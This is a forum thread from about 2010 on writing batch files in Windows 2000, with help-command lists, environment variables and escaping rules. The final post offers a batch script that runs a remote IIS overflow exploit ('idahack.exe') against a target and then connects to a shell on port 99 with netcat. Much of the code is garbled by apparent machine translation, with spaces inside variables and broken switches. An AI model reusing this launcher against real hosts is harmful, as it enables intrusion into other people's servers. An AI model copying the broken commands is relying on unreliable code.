Go Back   TechArena Community > Software > Operating Systems
Become a Member!
Forgot your username/password?
Register Tags Active Topics RSS Search Mark Forums Read SiteMap

Tags: , , ,

Sponsored Links



How to create a batch file in windows 2000

Operating Systems


Reply
 
Thread Tools Search this Thread
  #1  
Old 12-02-2010
Amma-Watson's Avatar
Member
 
Join Date: Feb 2010
Posts: 508
How to create a batch file in windows 2000

Hi all,

In my office , All system are installed in windows 2000. I want to create a batch file on it , but did not get success. I have already created a batch file in XP and 2003 , but it is difficult to create batch file in windows 2000. Please suggest. Thanks in advance.,
Reply With Quote
  #2  
Old 12-02-2010
Dr. V
 
Posts: n/a
Re: How to create a batch file in windows 2000

You can built in bat file by command help: The list are below:
Code:
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
Other needs of the commonly used commands
type /?
find /?
findstr /?
copy /?
Reply With Quote
  #3  
Old 12-02-2010
jesse's Avatar
Member
 
Join Date: Nov 2005
Posts: 2,965
How to create a batch file in windows 2000

You can also use concept of environment variables for creating batch file.
Check th ebelow code and reply :
HTML Code:
C: \ Program Files> set
ALLUSERSPROFILE = C: \ Documents and Settings \ All Users
CommonProgramFiles = C: \ Program Files \ Common Files
COMPUTERNAME = FIRST
ComSpec = C: \ WINNT \ system32 \ cmd.exe
NUMBER_OF_PROCESSORS = 1
OS = Windows_NT
Os2LibPath = C: \ WINNT \ system32 \ os2 \ dll;
Path = C: \ WINNT \ system32; C: \ WINNT; C: \ WINNT \ system32 \ WBEM
PATHEXT =. COM;. EXE;. BAT;. CMD;. VBS;. VBE;. JS;. JSE;. WSF;. WSH
PROCESSOR_ARCHITECTURE = x86
PROCESSOR_IDENTIFIER = x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL = 6
PROCESSOR_REVISION = 0605
ProgramFiles = C: \ Program Files
PROMPT = $ P $ G
SystemDrive = C:
SystemRoot = C: \ WINNT
TEMP = C: \ WINNT \ TEMP
TMP = C: \ WINNT \ TEMP
USERPROFILE = C: \ Documents and Settings \ Default User
windir = C: \ WINNT
Reply With Quote
  #4  
Old 12-02-2010
Lillebror's Avatar
Member
 
Join Date: Apr 2008
Posts: 3,259
Re: How to create a batch file in windows 2000

Built-in special symbols Microsoft, which built the following characters can not create the file name of the middle of Use
Code:
con nul aux \ / | | | & & ^> <*
You can use most characters as variable values, including white space. If you use the special characters <,>, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks , they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
To create the variable value new & name, type:
Code:
set varname = new ^ & name
To create the variable value "new & name", type:
Code:
set varname = "new & name"
The ampersand (&), pipe (|), and parentheses () are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.
Code:
find "Pacific Rim" <trade.txt> nwtrade.txt
IF EXIST filename. (Del filename.) ELSE echo filename. Missing
Reply With Quote
  #5  
Old 12-02-2010
Calvin K's Avatar
Member
 
Join Date: Apr 2008
Posts: 3,479
Re: How to create a batch file in windows 2000

I will give you the simple batch file :

Code:
echo This is test> a.txt
type a.txt
echo This is test 11111>> a.txt
type a.txt
echo This is test 22222> a.txt
type a.txt
The second echo is an additional
The third echo empty a.txt will be re-created a.txt

netstat-n | find "3389"
This will list all the connections 3389 users ip.
Reply With Quote
  #6  
Old 12-02-2010
MrChris-'s Avatar
Member
 
Join Date: Apr 2008
Posts: 3,237
How to create a batch file in windows 2000

Here we detailed a idahack program is a remote overflow ida as an example. Should be very simple. Try this.

Code:
@ rem ver 1.0
@ if NOT exist% windir% \ system32 \ idahack.exe echo "ERROR: dont find idahack.exe"
@ if NOT exist% windir% \ system32 \ nc.exe echo "ERROR: dont find nc.exe"

@ if "% 1" == "" goto USAGE
@ if NOT "% 2" == "" goto SP2
: start
@ echo Now start ...
@ ping% 1
@ echo chinese win2k: 1 sp1: 2 sp2: 3
idahack.exe% 1 80 1 99>% temp% \ _tmp
@ echo "prog exit code [% errorlevel%] idahack.exe"
@ type% temp% \ _tmp
@ find "good luck:)"% temp% \ _tmp
@ echo "prog exit code [% errorlevel%] find [goog luck]"
@ if NOT errorlevel 1 nc.exe% 1 99
@ goto END
Reply With Quote
Reply

  TechArena Community > Software > Operating Systems


Thread Tools Search this Thread
Search this Thread:

Advanced Search


Similar Threads for: "How to create a batch file in windows 2000"
Thread Thread Starter Forum Replies Last Post
Create and edit batch file in windows 7? bomblast Tips & Tweaks 2 08-11-2011 03:56 PM
Help me create this batch file. bomblast Windows Software 1 31-10-2011 11:47 AM
how can i create a Batch file to kill some processes by name Hansel Ortiz -[BrEcHaWarr] Windows Server Help 5 20-04-2011 06:11 PM
How to create batch for RAR file extension Jayden Windows Software 1 14-04-2009 12:58 AM
How to create a Batch file Katty Software Development 1 10-01-2009 01:26 PM


All times are GMT +5.5. The time now is 02:11 AM.